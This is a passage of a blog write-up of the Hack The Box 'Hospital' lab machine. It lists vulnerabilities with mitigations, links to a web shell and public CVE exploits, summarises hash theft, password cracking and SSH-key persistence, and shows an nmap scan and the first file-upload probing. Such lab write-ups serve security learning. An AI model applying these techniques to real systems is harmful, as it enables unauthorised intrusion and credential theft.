ultimately.</p><h2>Contents</h2><ul><li><p><a href="https://emdeh.substack.com/i/145021282/introduction">Introduction</a></p></li><li><p><a href="https://emdeh.substack.com/i/145021282/vulnerabilities-explored">Vulnerabilities explored</a></p></li><li><p><a href="https://emdeh.substack.com/i/145021282/nmap-scanning">Enumeration</a></p></li><li><p><a href="https://emdeh.substack.com/i/145021282/exploitation">Exploitation</a></p></li><li><p><a href="https://emdeh.substack.com/i/145021282/establishing-persistence">Establishing persistence</a></p></li><li><p><a href="https://emdeh.substack.com/i/145021282/system-enumeration">System enumeration</a></p></li><li><p><a href="https://emdeh.substack.com/i/145021282/privilege-escalation">Privilege escalation</a></p></li><li><p><a href="https://emdeh.substack.com/i/145021282/lateral-movement">Lateral movement</a></p></li></ul><div><hr></div><h2>Vulnerabilities explored</h2><h3>Insecure File Upload</h3><p>Allows attackers to upload malicious files to a server, which can lead to unauthorised access or code execution. Mitigation involves strict validation of file types, sizes, and content, alongside implementing secure upload directories.</p><h3>Weak credentials</h3><p>Use of easily guessed or default credentials, making unauthorised access simpler. Mitigation includes enforcing strong password policies and educating users about secure password practices.</p><h3>Unpatched Operating systems</h3><p>Exploits known vulnerabilities in outdated operating systems, such as the Linux kernel. Regularly updating and patching operating systems and software mitigates this.</p><h3>Command injections</h3><p>Occurs when an application passes unsafe user-supplied data to a system shell. Mitigation involves validating and sanitising all user inputs and using secure coding practices to avoid the execution of untrusted commands.</p><h3>Remote code execution</h3><p>Allows an attacker to execute arbitrary code on a victim&#8217;s system. Mitigation strategies include keeping software current, employing least privilege principles, and using firewalls and intrusion detection/prevention systems.</p><h3>Insecure coding</h3><p>Vulnerabilities introduced by errors or poor practices in software development. Mitigation involves using secure coding practices, regular code reviews, and automated security scanning.</p><p>Improperly configured file or directory permissions that give unauthorised access. Regular audits and correctly setting permissions based on the principle of least privilege and separation of duties can mitigate this.</p><h3>Local administrator accounts</h3><p>Local accounts with high privileges are not being properly managed or disabled. Best practices include disabling unnecessary accounts and using centralised authentication methods like Active Directory and LAPS.</p><h2>Tools</h2><ul><li><p><a href="https://github.com/nmap/nmap">Nmap</a></p></li><li><p>Dirsearch</p></li><li><p>Burpsuite</p></li><li><p><a href="https://github.com/flozz/p0wny-shell/tree/master">PHP WebShell</a></p></li><li><p><a href="https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629">Linux Kernel exploit for initial privilege escalation</a></p></li><li><p>Hashcat for password cracking</p></li><li><p><a href="https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection">CVE-2023-36664 exploit for command injection</a></p></li><li><p>Evil-winrm</p></li></ul><h2>Tactics and Methods</h2><h3>Exploiting insecure code</h3><ul><li><p><strong>File Upload</strong>: Utilised to upload a <code>.phar</code> file, exploiting insecure file upload handling.</p></li><li><p><strong>Hardcoded Password</strong>: Identified in a batch script, demonstrating insecure coding practices.</p></li></ul><h3>Stealing hashes and exploiting weak credentials</h3><ul><li><p><strong>Hash Stealing</strong>: Stole system hashes from the <code>/etc/shadow</code> file.</p></li><li><p><strong>Weak credentials:</strong> Cracking them to reveal weak credentials.</p></li></ul><h3>Business email compromise</h3><ul><li><p><strong>Email Compromise</strong>: Achieved by exploiting weak credentials to access Dr Williams&#8217; email, illustrating the danger of weak passwords and the effectiveness of password cracking.</p></li></ul><h3>Exploiting unpatched vulnerabilities</h3><ul><li><p><strong>Linux Kernel Exploit (CVE-2023-2640-CVE-2023-32629)</strong>: Leveraged to gain elevated privileges through an unpatched kernel vulnerability.</p></li><li><p><strong>Command Injection (CVE-2023-36664)</strong>: Used to inject and execute malicious commands in GhostScript, demonstrating the risk of unpatched software.</p></li></ul><h3>Establishing persistence</h3><ul><li><p><strong>Malicious SSH Keys</strong>: Added to ensure persistent access, highlighting the importance of securing authentication mechanisms.</p></li></ul><h3>Exploiting folder permissions and local administrator account</h3><ul><li><p><strong>Inappropriate Permissions</strong>: Exploited to achieve <code>NT Authority</code> system access, underscoring the need for proper file and directory permission settings.</p></li><li><p><strong>Local Admin Account</strong>: Utilised to grab the root flag to demonstrate access, showcasing the risks associated with not disabling unnecessary administrator accounts.</p></li></ul><div><hr></div><h1>Enumeration</h1><h2>Nmap scanning</h2><p>As always, we begin with an Nmap scan.</p><pre><code><code>nmap -A -v 10.129.8.141 | tee nmap-output.txt   </code></code></pre><p><em><strong>A note on </strong></em><code>-A</code></p><ul><li><p><code>-A</code> is a comprehensive scan. It stands for &#8220;aggressive scan&#8221; and combines several advanced scanning features in one command. Specifically, it enables OS detection (<code>-O</code>), version detection (<code>-sV</code>), script scanning (<code>-sC</code>), and traceroute (<code>--traceroute</code>).</p></li><li><p><em>When you use </em><code>-A</code>, <code>nmap</code> not only performs a script scan with the default scripts (as <code>-sC</code> does) but also tries to identify the target's operating system, determine service/version information more aggressively, and map out the path packets take to the host.</p></li><li><p><em>Using </em><code>-A</code> is a good choice when you want a comprehensive overview of the target, but it&#8217;s more intrusive and might be detected more easily by intrusion detection systems (IDS) than using <code>-sC</code> alone. Always ensure you have authorization to perform such scans on the network you&#8217;re investigating.</p></li></ul><pre><code><code>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-19 04:09 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 04:09
Completed NSE at 04:09, 0.00s elapsed
Initiating NSE at 04:09
Completed NSE at 04:09, 0.00s elapsed
Initiating NSE at 04:09
Completed NSE at 04:09, 0.00s elapsed
Initiating Ping Scan at 04:09
Scanning 10.129.82.144 [2 ports]
Completed Ping Scan at 04:09, 0.32s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:09
Completed Parallel DNS resolution of 1 host. at 04:09, 0.00s elapsed
Initiating Connect Scan at 04:09
Scanning 10.129.82.144 [1000 ports]
Discovered open port 3389/tcp on 10.129.82.144
Discovered open port 22/tcp on 10.129.82.144
Discovered open port 139/tcp on 10.129.82.144
Discovered open port 445/tcp on 10.129.82.144
Discovered open port 8080/tcp on 10.129.82.144
Discovered open port 135/tcp on 10.129.82.144
Discovered open port 443/tcp on 10.129.82.144
Discovered open port 53/tcp on 10.129.82.144
Discovered open port 3269/tcp on 10.129.82.144
Discovered open port 593/tcp on 10.129.82.144
Discovered open port 88/tcp on 10.129.82.144
Discovered open port 464/tcp on 10.129.82.144
Discovered open port 2107/tcp on 10.129.82.144
Discovered open port 2103/tcp on 10.129.82.144
Discovered open port 3268/tcp on 10.129.82.144
Discovered open port 389/tcp on 10.129.82.144
Discovered open port 636/tcp on 10.129.82.144
Discovered open port 1801/tcp on 10.129.82.144
Discovered open port 2179/tcp on 10.129.82.144
Discovered open port 2105/tcp on 10.129.82.144
Completed Connect Scan at 04:10, 31.97s elapsed (1000 total ports)
Initiating Service scan at 04:10
Scanning 20 services on 10.129.82.144
Completed Service scan at 04:11, 64.47s elapsed (20 services on 1 host)
NSE: Script scanning 10.129.82.144.
Initiating NSE at 04:11
Completed NSE at 04:12, 42.19s elapsed
Initiating NSE at 04:12
Completed NSE at 04:12, 5.80s elapsed
Initiating NSE at 04:12
Completed NSE at 04:12, 0.00s elapsed
Nmap scan report for 10.129.82.144
Host is up (0.32s latency).
Not shown: 980 filtered tcp ports (no-response)
PORT     STATE SERVICE           VERSION
22/tcp   open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)
|_  256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-03-19 15:10:36Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after:  2028-09-06T10:49:03
| MD5:   04b1:adfe:746a:788e:36c0:802a:bdf3:3119
|_SHA-1: 17e5:8592:278f:4e8f:8ce1:554c:3550:9c02:2825:91e3
443/tcp  open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
| tls-alpn:
|_  http/1.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4:4cc9:9e84:b26f:9e63:9f9e:d229:dee0
|_SHA-1: b023:8c54:7a90:5bfa:119c:4e8b:acca:eacf:3649:1ff6
|_http-favicon: Unknown favicon MD5: 924A68D347C80D0E502157E83812BB23
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_http-title: Hospital Webmail :: Welcome to Hospital Webmail
|_ssl-date: TLS randomness does not represent time
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after:  2028-09-06T10:49:03
| MD5:   04b1:adfe:746a:788e:36c0:802a:bdf3:3119
|_SHA-1: 17e5:8592:278f:4e8f:8ce1:554c:3550:9c02:2825:91e3
1801/tcp open  msmq?
2103/tcp open  msrpc             Microsoft Windows RPC
2105/tcp open  msrpc             Microsoft Windows RPC
2107/tcp open  msrpc             Microsoft Windows RPC
2179/tcp open  vmrdp?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after:  2028-09-06T10:49:03
| MD5:   04b1:adfe:746a:788e:36c0:802a:bdf3:3119
|_SHA-1: 17e5:8592:278f:4e8f:8ce1:554c:3550:9c02:2825:91e3
3269/tcp open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Issuer: commonName=DC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-09-06T10:49:03
| Not valid after:  2028-09-06T10:49:03
| MD5:   04b1:adfe:746a:788e:36c0:802a:bdf3:3119
|_SHA-1: 17e5:8592:278f:4e8f:8ce1:554c:3550:9c02:2825:91e3
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.hospital.htb
| Issuer: commonName=DC.hospital.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-03-18T15:06:28
| Not valid after:  2024-09-17T15:06:28
| MD5:   f596:b381:3127:b856:8368:11d2:c493:ebad
|_SHA-1: 9445:fdff:334c:4ad8:2560:bdcc:4665:a871:ec50:4d6b
| rdp-ntlm-info:
|   Target_Name: HOSPITAL
|   NetBIOS_Domain_Name: HOSPITAL
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: hospital.htb
|   DNS_Computer_Name: DC.hospital.htb
|   DNS_Tree_Name: hospital.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2024-03-19T15:11:35+00:00
8080/tcp open  http              Apache httpd 2.4.55 ((Ubuntu))
|_http-server-header: Apache/2.4.55 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: Login
|_Requested resource was login.php
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m57s, deviation: 0s, median: 6h59m57s
| smb2-time:
|   date: 2024-03-19T15:11:35
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

NSE: Script Post-scanning.
Initiating NSE at 04:12
Completed NSE at 04:12, 0.00s elapsed
Initiating NSE at 04:12
Completed NSE at 04:12, 0.00s elapsed
Initiating NSE at 04:12
Completed NSE at 04:12, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.01 seconds

</code></code></pre><h3>Findings</h3><p>The scan returned an extensive list of possibilities. At first glance, items of interest are:</p><ol><li><p><strong>Mixed Operating Systems</strong>: The service information suggests a mixture of Linux and Windows operating systems. This is indicated by the presence of OpenSSH running on Ubuntu and various Microsoft services such as Active Directory LDAP, Windows RPC, and Terminal Services. This could be the use of a Windows Subsystem for Linux.</p></li><li><p><strong>Domain and Active Directory Services</strong>: The presence of services such as LDAP (ports 389, 636, 3268, 3269) with references to a domain (<code>hospital.htb</code>), Microsoft Windows Active Directory and Kerberos (port 88) suggest that the target functions as a domain controller within a Windows Active Directory environment. This could provide avenues for exploiting attack vectors relating to domain-level vulnerabilities or misconfigurations.</p></li><li><p><strong>Web Services</strong>: Ports 443 and 8080 run web services (Apache httpd) with SSL, where port 443&#8217;s service is identified as a webmail system for &#8220;Hospital Webmail&#8221;. The presence of a login page on port 8080 (<code>login.php</code>) suggests a potential target for web-based attacks, such as SQL injection, brute-force login, or exploiting web application vulnerabilities.</p></li><li><p><strong>Potential Entry Points</strong>: The open ports 22 (SSH) and 3389 (RDP) are traditional entry points for system access. The reported versions may be worth exploring for known vulnerabilities as a means to gain initial access. More likely, however, is they could be used after stealing credentials from elsewhere.</p></li><li><p><strong>Service Versions and Vulnerabilities</strong>: It is worth checking the version information for several services, such as OpenSSH 9.0p1 on Ubuntu and Apache httpd 2.4.56 on Windows, for known vulnerabilities.</p></li><li><p><strong>Network Service Protocols</strong>: The open ports associated with Microsoft-specific services (e.g., NetBIOS-ssn on port 139, Microsoft-ds on 445, ncacn_http on 593) hint at possible SMB or RPC vulnerabilities that could be exploited for lateral movement or privilege escalation within the network.</p></li></ol><h2>Domain enumeration</h2><p>Next, the domain is enumerated. First, we add it to the host file to make it accessible.</p><pre><code><code>echo "10.129.82.144 hospital.htb" | sudo tee -a /etc/hosts</code></code></pre><p>Navigating to Port <code>8080</code> reveals a login page, and a link to register an account.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Af02!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7de1dccf-4aea-40bb-ae0b-b73fbd369803_482x416.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Af02!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7de1dccf-4aea-40bb-ae0b-b73fbd369803_482x416.png 424w, https://substackcdn.com/image/fetch/$s_!Af02!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7de1dccf-4aea-40bb-ae0b-b73fbd369803_482x416.png 848w, https://substackcdn.com/image/fetch/$s_!Af02!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7de1dccf-4aea-40bb-ae0b-b73fbd369803_482x416.png 1272w, https://substackcdn.com/image/fetch/$s_!Af02!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7de1dccf-4aea-40bb-ae0b-b73fbd369803_482x416.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Af02!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7de1dccf-4aea-40bb-ae0b-b73fbd369803_482x416.png" width="482" height="416" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7de1dccf-4aea-40bb-ae0b-b73fbd369803_482x416.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:416,&quot;width&quot;:482,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;landing-page.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="landing-page.png" title="landing-page.png" srcset="https://substackcdn.com/image/fetch/$s_!Af02!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7de1dccf-4aea-40bb-ae0b-b73fbd369803_482x416.png 424w, https://substackcdn.com/image/fetch/$s_!Af02!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7de1dccf-4aea-40bb-ae0b-b73fbd369803_482x416.png 848w, https://substackcdn.com/image/fetch/$s_!Af02!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7de1dccf-4aea-40bb-ae0b-b73fbd369803_482x416.png 1272w, https://substackcdn.com/image/fetch/$s_!Af02!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7de1dccf-4aea-40bb-ae0b-b73fbd369803_482x416.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>There is no validation on account registration, so a fraudulent account is created.</p><p>Logging in with the account, and a page is presented to upload medical records, suggesting the presence of a file upload vulnerability.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bYdg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafe423a8-cc95-41ee-91a2-69920241b0de_800x607.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bYdg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafe423a8-cc95-41ee-91a2-69920241b0de_800x607.png 424w, https://substackcdn.com/image/fetch/$s_!bYdg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafe423a8-cc95-41ee-91a2-69920241b0de_800x607.png 848w, https://substackcdn.com/image/fetch/$s_!bYdg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafe423a8-cc95-41ee-91a2-69920241b0de_800x607.png 1272w, https://substackcdn.com/image/fetch/$s_!bYdg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafe423a8-cc95-41ee-91a2-69920241b0de_800x607.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bYdg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafe423a8-cc95-41ee-91a2-69920241b0de_800x607.png" width="800" height="607" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/afe423a8-cc95-41ee-91a2-69920241b0de_800x607.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:607,&quot;width&quot;:800,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;file-upload-page.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="file-upload-page.png" title="file-upload-page.png" srcset="https://substackcdn.com/image/fetch/$s_!bYdg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafe423a8-cc95-41ee-91a2-69920241b0de_800x607.png 424w, https://substackcdn.com/image/fetch/$s_!bYdg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafe423a8-cc95-41ee-91a2-69920241b0de_800x607.png 848w, https://substackcdn.com/image/fetch/$s_!bYdg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafe423a8-cc95-41ee-91a2-69920241b0de_800x607.png 1272w, https://substackcdn.com/image/fetch/$s_!bYdg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafe423a8-cc95-41ee-91a2-69920241b0de_800x607.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>File upload enumeration</h2><p>A test.jpg file is created, and the results are monitored in Burpsuite.</p><pre><code><code>&#9472;&#9472;(kali&#12927;kali)-[~/Documents/htb-machines/hospital/exploits]
&#9492;&#9472;$ touch test.jpg &amp;&amp; echo test &gt; test.jpg</code></code></pre><p>Burpsuite confirms the file was uploaded successfully.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FxWU!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7f694dd-6cab-4e7d-a8df-8c0c0503a05f_1248x446.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FxWU!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7f694dd-6cab-4e7d-a8df-8c0c0503a05f_1248x446.png 424w, https://substackcdn.com/image/fetch/$s_!FxWU!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7f694dd-6cab-4e7d-a8df-8c0c0503a05f_1248x446.png 848w, https://substackcdn.com/image/fetch/$s_!FxWU!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7f694dd-6cab-4e7d-a8df-8c0c0503a05f_1248x446.png 1272w, https://substackcdn.com/image/fetch/$s_!FxWU!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7f694dd-6cab-4e7d-a8df-8c0c0503a05f_1248x446.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FxWU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7f694dd-6cab-4e7d-a8df-8c0c0503a05f_1248x446.png" width="1248" height="446" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f7f694dd-6cab-4e7d-a8df-8c0c0503a05f_1248x446.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:446,&quot;width&quot;:1248,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;jpg-file-upload success.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="jpg-file-upload success.png" title="jpg-file-upload success.png" srcset="https://substackcdn.com/image/fetch/$s_!FxWU!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7f694dd-6cab-4e7d-a8df-8c0c0503a05f_1248x446.png 424w, https://substackcdn.com/image/fetch/$s_!FxWU!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7f694dd-6cab-4e7d-a8df-8c0c0503a05f_1248x446.png 848w, https://substackcdn.com/image/fetch/$s_!FxWU!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7f694dd-6cab-4e7d-a8df-8c0c0503a05f_1248x446.png 1272w, https://substackcdn.com/image/fetch/$s_!FxWU!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7f694dd-6cab-4e7d-a8df-8c0c0503a05f_1248x446.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" 